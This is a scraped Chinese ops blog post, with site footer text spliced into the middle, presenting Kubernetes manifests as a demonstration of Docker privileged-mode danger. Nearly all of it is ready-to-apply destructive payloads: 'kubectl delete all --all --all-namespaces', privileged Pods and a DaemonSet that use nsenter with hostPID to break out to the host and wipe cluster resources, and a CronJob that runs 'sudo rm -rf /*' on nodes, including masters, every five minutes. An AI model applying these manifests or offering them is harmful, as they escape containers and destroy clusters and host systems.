Kuberntes 系统下的 `rm rf /`，执行完就可以跑路了

云计算 2023-01-04 Escape 手机阅读

本文档主要用于展示 Docker 特权模式的危害，请谨慎操作。对于没有 CLI 操作权限的用户，可以拷贝示例的 Yaml，直接创建集群负载 Pod、Job、DaemonSet 等进行操作。

1. 直接删除全部资源

如果能登陆机器，收拾好东西，执行命令:

相关推荐
云计算 2023-07-09 Escape
云计算 2023-07-09 Escape
云计算 2023-07-10 Escape
云计算 2022-09-30 Escape
云计算 2023-07-10 Escape

站点声明：本站部分内容转载自网络，作品版权归原作者及来源网站所有，任何内容转载、商业用途等均须联系原作者并注明来源。

相关侵权、举报、投诉及建议等，请发邮件至E-mail：service@mryunwei.com

Copyright 每日运维  浙ICP备2022017665号-3 基于WordPress | 由七牛云提供 CDN 加速
回到顶部
1

kubectl delete all --all --all-namespaces

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: danger-1
  namespace: default
spec:
  containers:
    - command: ["sh"]
      args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
      image: docker.io/alpine:3.12
      name: pod-test
      securityContext:
        privileged: true
  hostIPC: true
  hostNetwork: true
  hostPID: true
  tolerations:
  - effect: NoSchedule
    key: node-role.kubernetes.io/master
  - key: CriticalAddonsOnly
    operator: Exists
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 60
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 60
EOF

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: danger-1
  namespace: default
spec:
  affinity:
    nodeAffinity:
      preferredDuringSchedulingIgnoredDuringExecution:
      - preference:
          matchExpressions:
          - key: node-role.kubernetes.io/master
            operator: In
            values:
            - ""
        weight: 100
  containers:
    - command: ["sh"]
      args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
      image: docker.io/alpine:3.12
      name: pod-test
      securityContext:
        privileged: true
  tolerations:
  - effect: NoSchedule
    key: node-role.kubernetes.io/master
  - key: CriticalAddonsOnly
    operator: Exists
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 60
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 60
  hostIPC: true
  hostNetwork: true
  hostPID: true
EOF

cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: danger-3
spec:
  selector:
    matchLabels:
      danger.kubernetes.io/name: d3
  template:
    metadata:
      labels:
        danger.kubernetes.io/name: d3
    spec:
      containers:
        - command: ["sh"]
          args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"]
          image: docker.io/alpine:3.12
          name: pod-test
          securityContext:
            privileged: true
      hostIPC: true
      hostNetwork: true
      hostPID: true
      tolerations:
      - effect: NoSchedule
        key: node-role.kubernetes.io/master
      - key: CriticalAddonsOnly
        operator: Exists
      - effect: NoExecute
        key: node.kubernetes.io/not-ready
        operator: Exists
        tolerationSeconds: 60
      - effect: NoExecute
        key: node.kubernetes.io/unreachable
        operator: Exists
        tolerationSeconds: 60
EOF

cat <<EOF | kubectl apply -f -
apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: danger-4
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
            - command: ["sh"]
              args: ["-c", "echo 'sudo rm -rf /*' | nsenter -t 1 -m -u -i -n"]
              image: docker.io/alpine:3.12
              name: pod-test
              securityContext:
                privileged: true
          restartPolicy: OnFailure
          hostIPC: true
          hostNetwork: true
          hostPID: true
          tolerations:
          - effect: NoSchedule
            key: node-role.kubernetes.io/master
          - key: CriticalAddonsOnly
            operator: Exists
          - effect: NoExecute
            key: node.kubernetes.io/not-ready
            operator: Exists
            tolerationSeconds: 60
          - effect: NoExecute
            key: node.kubernetes.io/unreachable
            operator: Exists
            tolerationSeconds: 60
EOF